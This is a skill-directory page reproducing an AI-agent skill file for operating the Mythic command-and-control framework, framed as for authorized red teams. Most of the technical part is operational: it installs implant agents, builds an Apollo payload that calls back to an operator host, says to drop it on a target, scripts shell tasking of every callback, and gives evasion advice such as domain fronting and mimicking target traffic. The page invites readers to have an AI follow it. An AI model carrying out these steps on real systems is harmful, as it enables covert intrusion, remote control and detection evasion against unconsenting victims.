Skip to content
Skillpedia
Security6.5k Β· #14132

c2-mythic

What it does

This guide covers the Mythic framework, which uses containers and several agent types for authorized exercises. It is for red teams setting up cross-platform tests and defenders who want to understand its footprint.

When to use it

  • βœ“When an authorized exercise needs a framework that supports several operating systems.
  • βœ“When a team needs to know which agent types are running in a test environment.
  • βœ“When defenders want to recognize the containers and console that Mythic uses.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you explain how the Mythic framework is set up for our authorized cross-platform exercise and what the defenders should look for?”

5 new skills a week. 1 minute to read.

How it works

The agent explains the containers, web console and agent modules, and suggests monitoring for the matching traffic and processes.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Mythic C2 Operator Skill

Mythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.

Setup (one-time, on the operator server)

# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh        # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install

# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo     # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon   # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa     # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena     # cross-platform .NET 6

Agent matrix

Agent Platform Lang Best for
Apollo Windows C# / .NET Framework 3.5+ Windows-heavy engagements, .NET interop
Poseidon macOS, Linux Go Cross-platform, single static binary
Athena Windows / macOS / Linux .NET 6/7/8 Modern .NET, AOT-compiled
Apfell macOS JavaScript for Automation (JXA) Native macOS execution via osascript
Medusa any Python Quick prototypes, fileless
Service Wrapper Windows C++ Persistence via Windows service

Profile matrix

Profiles = the comms channel. An agent can use one or more profiles.

Profile Transport Detection
http Plain HTTP(S) with configurable headers, paths, jitter, sleep Easiest to fingerprint; use behind redirector + domain fronting
websocket WS / WSS Long-lived; suspicious from desktop
smb Named pipe over SMB Peer-to-peer between Apollo agents β€” no internet needed for inner workstations
dns DNS TXT / A queries to attacker NS Slow, but bypasses every HTTP-only firewall
peer-to-peer (SMB) One agent forwards another's traffic Use for deep network β€” only one egress point needed
# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns

Build a payload (Apollo + http profile)

# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
  --name "stage1" \
  --description "Apollo http to op-server.com" \
  --agent Apollo \
  --c2_profile http \
  --c2_profile_parameter callback_host=https://op-server.com \
  --c2_profile_parameter callback_port=443 \
  --c2_profile_parameter encrypted_exchange_check=T \
  --c2_profile_parameter callback_interval=30 \
  --c2_profile_parameter callback_jitter=20 \
  --c2_profile_parameter killdate=2025-12-31 \
  --build_parameter version=net4.0 \
  --output_file stage1.exe

# Drop stage1.exe on the target β€” it calls back to op-server.com over HTTPS

Tasking from the operator

Mythic provides:

  • Web UI (callback view β†’ click + task)
  • mythic-cli scripting (Python wrapper)
  • Direct GraphQL API at https://<host>:7443/v1/graphql
# Scripting example β€” list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
    m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
    cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
    for cb in cbs:
        await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'

OPSEC defaults

  • Profile encryption: HTTP profile uses encrypted_exchange_check by default β€” key derived via Diffie-Hellman after the initial connect. Don't disable.
  • Sleep / jitter: default 30s/20% is loud. Production engagements: 5-minute sleeps, 25% jitter, weekly killdate.
  • Callback host: NEVER call back to a bare attacker IP. Use a domain on a CDN (CloudFront, Cloudflare), preferably with domain fronting.
  • Build customization: Apollo's build config supports custom headers, paths, useragent β€” match the target's expected traffic pattern (Slack workspace? Use Slack-like headers
FAQ

What makes Mythic different?

The guide says it is modular, with several agents for different operating systems.

Where is the console?

The guide notes it is a web console on a secure port on the operator server.

Who should run it?

Authorized red teams working within their engagement rules.

Details

Original description by the author

Mythic C2 framework operations β€” multi-agent (Apfell, Apollo, Athena, Poseidon, Medusa), web UI on 7443, RabbitMQ + PostgreSQL backend, JSON-RPC tasking model, building an agent via mythic-cli, profile design (HTTP/SMB/named pipe/peer-to-peer), opsec defaults. Comparison to Sliver: more pluggable, less polished UI.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14132
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills